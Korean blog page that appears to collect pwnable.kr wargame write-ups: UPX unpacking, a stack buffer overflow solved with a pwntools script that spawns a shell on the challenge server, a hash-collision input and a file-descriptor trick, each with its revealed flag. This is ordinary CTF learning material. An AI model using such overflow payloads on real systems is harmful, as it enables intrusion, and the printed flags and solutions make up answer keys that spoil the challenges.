반응형
반응형
반응형

flag - 7 pt [writeup] 

Papa brought me a packed present! let's open it.


Download : http://pwnable.kr/bin/flag


This is reversing task. all you need is binary



리버싱 문제입니다.




exeinfope.exe 로 확인해 보면 upx로 패킹이 되어있다고 하네요.



분석을 위해서 언패킹을 진행합니다.


>>>>./upx -d ./flag

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2017

UPX 3.94w       Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017


        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

    883745 <-    335288   37.94%   linux/amd64   flag


Unpacked 1 file.



IDA로 깝니다.




strings들을 확인해보니 바로 플래그가 보이네요.




FLAG : UPX...? sounds like a delivery service :)

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형

bof - 5 pt [writeup] 

Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c


Running at : nc pwnable.kr 9000



두개 모두 다운로드를 합시다.



bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}



func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워주네요.


gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있습니다.


그럼 key[4] 와 overflowme[32] 사이의 거리를 구해야 합니다.

다운받은 바이너리를 gdb로 분석하겠습니다.



mandu@mandu-VirtualBox:~/Downloads$ gdb -q bof

Reading symbols from bof...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas func

Dump of assembler code for function func:

   0x0000062c <+0>: push   ebp

   0x0000062d <+1>: mov    ebp,esp

   0x0000062f <+3>:   sub    esp,0x48

   0x00000632 <+6>: mov    eax,gs:0x14

   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax

   0x0000063b <+15>: xor    eax,eax

   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c

   0x00000644 <+24>: call   0x645 <func+25>

   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>

   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>: jne    0x66b <func+63>

   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b

   0x00000664 <+56>: call   0x665 <func+57>

   0x00000669 <+61>: jmp    0x677 <func+75>

   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3

   0x00000672 <+70>: call   0x673 <func+71>

   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]

   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14

   0x00000681 <+85>: je     0x688 <func+92>

   0x00000683 <+87>: call   0x684 <func+88>

   0x00000688 <+92>: leave  

   0x00000689 <+93>: ret    

End of assembler dump.



   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe


key는 [ebp+0x8]에 있습니다.


심볼이 다 날라가서 함수명을 알 수는 없지만, 소스를 보았을 때 첫번째 call은 printf이고 두번째 call은 gets임을 알 수 있습니다.


따라서 overflowme[32]의 위치는 


   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>


[ebp-0x2c] 일 것입니다.


스택구조를 나타내보면, 


낮은주소

overflowme[32]

dummy[12]

ebp+ret[8]

key[4]

높은주소


이렇게 됩니다. 그럼 페이로드는 dummy[52] + key[4](0xcafebabe) 가 되겠네요.



1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
 
= remote("pwnable.kr"9000)
 
payload = "D"*52 + "\xbe\xba\xfe\xca"
 
r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
cs



mandu@mandu-VirtualBox:~/project/pwnkr$ python bof.py 

[+] Opening connection to pwnable.kr on port 9000: Done

bof

bof.c

flag

log

log2

super.pl


daddy, I just pwned a buFFer :)


[*] Closed connection to pwnable.kr port 9000



FLAG : daddy, I just pwned a buFFer :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형



ssh col@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag


col.c를 보겠습니다.



col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}


int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}


if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}



먼저 main함수를 보면, argv[1]의 길이가 20바이트이어야 함을 알 수 있습니다.


hashcode == check_password( argv[1] ) 이면 flag를 얻을 수 있네요.



check_password()가 하는 일을 봅시다.


20바이트 입력값을  4바이트씩 쪼개서 5개를 모두 더합니다.

만약 입력값이 \x11112222333344445555 이라면 \x1111+\x2222+\x3333+\x4444+\x5555 = res 가 되는겁니다.


res의 값이 0x21DD09EC 이 되어야 하므로
0x01010101 4개에 나머지 필요한값 하나 (= 0x21DD09EC - 0x01010101*4 = 1DD905E8) 로 하겠습니다.

./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`



col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형




ssh fd@pwnable.kr -p2222 (pw:guest) 이 곳으로 원격접속을 합니다.


어떤 파일이 있나 확인해 보겠습니다.


fd@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd

-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c

-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag


fd, fd.c, flag 파일이 있네요.


fd@ubuntu:~$ cat flag

cat: flag: Permission denied


flag 파일을 볼 수 있는 권한은 없습니다.


fd.c는 fd의 소스코드인것 같으니 확인해보겠습니다.



fd@ubuntu:~$ cat fd.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");

return 0;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

}

printf("learn about Linux file IO\n");

return 0;


}


buf의 값이 "LETMEWIN" 이면 flag파일을 읽어와주네요.

버퍼오버플로우 문제는 아니고, fd를 이용해 푸는 것 같습니다.

read 함수에서 첫번째 인자로 fd값을 받는데 이때 fd 값은 아래와 같습니다:

0 | stdin | 표준 입력
1 | stdout | 표준 출력
2 | stderr | 표준 에러


fd의 값은 argv[1] - 0x1234가 들어가게 되고, argv[1]은 우리가 입력한 값이니 조작이 가능합니다.

buf에 "LETMEWIN"를 넣어 주어야 하므로 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 넣어주면 될 것 같습니다.


자, argv[1]값으로 0x1234를 넣어 fd값을 0으로 만들어 줍시다.


atoi함수는 문자열을 정수로 바꿔주는 역할을 하기 때문에 0x1234를 10진수로 나타낸 4660을 입력하겠습니다.



fd@ubuntu:~$ ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!



FLAG : mommy! I think I know what a file descriptor is!!


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25

+ Recent posts